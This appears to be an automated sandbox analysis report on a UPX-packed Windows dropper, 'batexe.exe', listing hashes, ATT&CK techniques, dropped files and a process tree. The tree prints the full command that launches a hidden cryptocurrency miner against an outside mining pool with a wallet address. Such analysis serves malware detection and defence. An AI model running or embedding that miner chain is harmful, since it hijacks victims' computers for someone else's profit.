73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11/02/2024, 23:57

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
264	b2e.exe
1628	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1628	cpuminer-sse2.exe
1628	cpuminer-sse2.exe
1628	cpuminer-sse2.exe
1628	cpuminer-sse2.exe
1628	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/756-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 756 wrote to memory of 264	756	batexe.exe	85
PID 756 wrote to memory of 264	756	batexe.exe	85
PID 756 wrote to memory of 264	756	batexe.exe	85
PID 264 wrote to memory of 4996	264	b2e.exe	86
PID 264 wrote to memory of 4996	264	b2e.exe	86
PID 264 wrote to memory of 4996	264	b2e.exe	86
PID 4996 wrote to memory of 1628	4996	cmd.exe	89
PID 4996 wrote to memory of 1628	4996	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:756
- C:\Users\Admin\AppData\Local\Temp\B6EC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B6EC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B6EC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B99B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4996
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B6EC.tmp\b2e.exe

Filesize
10.4MB

MD5
e0db03fd4f750e587d67044acfcac06f

SHA1
9f08d996fba964fd753adf5ed0e64b5a6596e74b

SHA256
e4eae99467f1fd0063d4e962142503958c8507b67c61d7b3f0c7e80e83ae9204

SHA512
1227037283b1fe2e9e3864179607fc58beaafaa02d331cf86a970f2a5d6187285b3684272e723eb8256cc185bd52d4bf2919641f08df12305f83aa2d75fb90b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\B6EC.tmp\b2e.exe

Filesize
4.3MB

MD5
eddc1a76189be5d728825a8940c33788

SHA1
fd178ecbd54e127a8331b3327ea565ef87d78087

SHA256
35150ffc20ae43df98f25c58ae48157b8e02aa1079d4bbe5e9e6cd821f93c83d

SHA512
fd309e93e708246f141d119b63f9d66fee14aff9b31dfbc4f20882721823e805ddc3718f92175c6042ca608cfd584b07c0a38bca1923859f1fbe88b1bd6f44f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\B6EC.tmp\b2e.exe

Filesize
3.3MB

MD5
ed4c11b682387ab129f5a47fc1e6a4b6

SHA1
2b33db90e4d45aaf0aa9786db8628f8afae1cdbd

SHA256
01f70a358c16e33719f855196111936736f3db4f7cc4e23c1916647c054ae565

SHA512
369f4d2d76f1a8e1c3ffb4d60b238905a385e12f83bdeebb90f335c3b712b8be3042494835ef3cda38bf3e01e783002e019a65d7eacffa91d986eba145b8b680

Download Submit
C:\Users\Admin\AppData\Local\Temp\B99B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
e5176621eda004bde1b41c8d9e236cdd

SHA1
08dbd57e7496aca1695a47dd08a5beb034100eb2

SHA256
8f08ac8bb0bef4fc039e6df3eb253e8507eab4e14dfb018e4d1acdad6b3b1d84

SHA512
1c90fe59ea0687c5e1aa9d51e854bd02484e8757c7b692ff90782b81d986ab58bf462a69294d5f934f68837ae842fc121641a48320c33622d1c5fd02257d8c07

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.1MB

MD5
032f9505743187a1ff8941995f943870

SHA1
36171aeee8769255442e51e32492d56909b16e85

SHA256
b54a769a26eb620c9fa453dc85d43bdf5e22bd0bb3d467c900453ba6aac794aa

SHA512
3600a9bfc0599faf08ad7a45afff0f00142f4f0940aa25d9597060b32d975b08210d7ad97290310d29d5663d2d132392c5b25c03bc8bd6acd6a6f140183dca64

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
6209d231684a8f2e5e435f52c37246d1

SHA1
b86fbebd13d623ebc5765543b2ef075f41e57c7c

SHA256
d63535da6cdab2c1a2fe1620c6a418ba16e60f52545f5719bb88e7313f63de9c

SHA512
9d4d2d39827ebd76373a3cb02ccdc6b70737b4842aa9e9949f3c411502feda78d8c60e0612261f2b0491c928f3807c5d43030fae8d7192f265cd42fa356c9f09

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
7b2cd3c4792f5d0e7f1c4049b56b6df5

SHA1
404f516c2a4cb1609ce55bed601058e0df97e821

SHA256
4ccbf7e3ff92de233970c5e4c97c0a02c6e625d97bb6b05488326f819be59409

SHA512
c51472586dfabf90467335c31c3986cf5fe23a7297361addbd6cfa4081424091f5eea0d86bf1b368f9247bb907e6c78480d82df5ada68f119b71b06525d01a25

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
ea811f00e84df93ff2c7914ab6804cc5

SHA1
eabdb8b292a32609a114e69f090b1fae74a5997c

SHA256
4dfcb3832db322d1f8acbfb79250552a795587454d0c28bcf2834e0a84fa14f6

SHA512
fdfeb44966da53304a86b5fecd0cd1c747252758428c793a8521926e93d8f386b89ff5eaaea19cc8e0109755e929ac5bc55c62bf3abb31718b10d021b9b30c77

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/264-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/264-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/756-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1628-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1628-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1628-46-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/1628-47-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/1628-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1628-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1628-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1628-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1628-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1628-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1628-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1628-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1628-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1628-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download